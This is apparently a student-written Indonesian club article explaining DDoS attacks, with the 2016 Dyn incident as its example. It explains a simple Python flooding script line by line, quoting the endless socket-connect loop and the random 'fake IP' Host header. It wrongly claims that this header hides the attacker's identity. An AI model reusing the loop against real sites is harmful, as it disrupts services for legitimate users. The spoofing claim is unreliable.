Apa sih DDOS Attack itu dan seperti apa contohnya
Smeda Industrial Club | SMEDA Industrial Club
Mengenal Distributed Denial of Service (DDoS) Attack
Dalam era digital saat ini, serangan cyber telah menjadi ancaman yang sangat nyata. Salah satu jenis serangan yang paling merusak dan sering terjadi adalah Distributed Denial of Service (DDoS) Attack. DDoS attack merupakan serangan yang dilancarkan dengan cara menghambat layanan internet pada suatu sistem atau jaringan dengan membanjiri sumber daya yang tersedia, sehingga membuat layanan tidak tersedia bagi pengguna yang sah.
Bagaimana DDoS Attack Bekerja
Serangan DDoS melibatkan penggunaan banyak perangkat yang terdistribusi secara luas (seperti komputer atau perangkat IoT) untuk secara bersamaan menyerang satu target. Dengan melakukan ini, serangan mampu membuat sistem target menjadi overload, sehingga tidak dapat lagi memberikan layanan yang semestinya.
Contoh DDoS Attack
Salah satu contoh nyata dari DDoS attack adalah serangan terhadap situs web yang terkenal atau lembaga keuangan besar. Pada tahun 2016, terjadi serangan DDoS yang besar terhadap Dyn, sebuah perusahaan manajemen DNS yang mengontrol sebagian besar lalu lintas internet di Amerika Utara. Serangan ini membuat beberapa situs web besar, seperti Twitter, Amazon, Netflix, dan banyak lagi, tidak dapat diakses oleh pengguna. Hal ini menyebabkan ketidaknyamanan yang signifikan bagi ribuan pengguna internet di seluruh dunia
Sebelum itu, mari kita telusuri jejak kode untuk melakukan DDOS tersebut terhadap website website diatas, saya sudah membuat sebuah script sederhana, yang tentu saja tidak mempunyai damage ke website ya :)
Diatas sudah terdapat Kode Phython untuk melakukan DDOS terhadap suatu website yang tentu saja, kodenya sangat lemah. Disini kita jabarkan tiap rincian mengenai kodenya.
1. target = 'website-target.com': Di sini, Anda menentukan target dari serangan DDoS.
2. port = 80: Anda menentukan port yang akan diserang, dalam hal ini menggunakan port 80 yang digunakan untuk layanan HTTP.
3. fake_ip = '.'.join(map(str, (random.randint(0, 255) for _ in range(4)))): Baris ini bertujuan untuk menciptakan alamat IP palsu yang akan digunakan sebagai alamat pengirim dalam serangan untuk menyembunyikan identitas sebenarnya.
4. while True:: Perintah while digunakan di sini untuk membuat loop tak terbatas, yang akan terus berjalan selama kondisinya benar (dalam hal ini selalu benar).
5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM): Baris ini membuat objek soket (socket) dengan menggunakan domain alamat IP (AF_INET) dan jenis soket (SOCK_STREAM).
6. s.connect((target, port)): Dalam baris ini, koneksi dibuat ke target pada port tertentu yang telah ditentukan sebelumnya.
7. s.sendto((f"GET /{target} HTTP/1.1 ").encode('ascii'), (target, port)): Di sini, skrip mengirimkan permintaan (request) ke target untuk mengakses halaman dengan format HTTP.
8. s.sendto((f"Host: {fake_ip} ").encode('ascii'), (target, port)): Baris ini mengirimkan header palsu yang berisi alamat IP palsu, menyamar sebagai host yang meminta akses.
Nah, apa sih dampak dari DDOS, atau Segi Negatifnya?
Serangan DDoS memiliki dampak negatif berikut:
1. Gangguan layanan yang dapat merugikan bisnis dan organisasi.
2. Potensial kehilangan data dan reputasi.
3. Kerugian keuangan akibat hilangnya penjualan dan biaya pemulihan.
4. Gangguan pada infrastruktur kritis.
5. Penyalahgunaan perangkat yang diretas.
6. Gangguan psikologis dan stres bagi pengguna dan tim teknis.
Efek yang ditimbulkan alat DDOS :
Dampak-dampak ini menunjukkan betapa seriusnya serangan DDoS dan perlunya pencegahan serta penegakan hukum yang tegas terhadap pelaku serangan ini.
Jadi apakah kalian mau di DDOS? atau mungkin kalian adalah pelaku yang melakukan DDOS? Jangan sampai melakukan hal tersebut ya.
Artikel ini ditulis oleh M. Surya Ananda XI RPL disunting dan di review oleh Ilham Maulana XII RPL yang bertanggung jawab atas pengeditan dan pembaruan pada artikel
Follow Instagram kami :
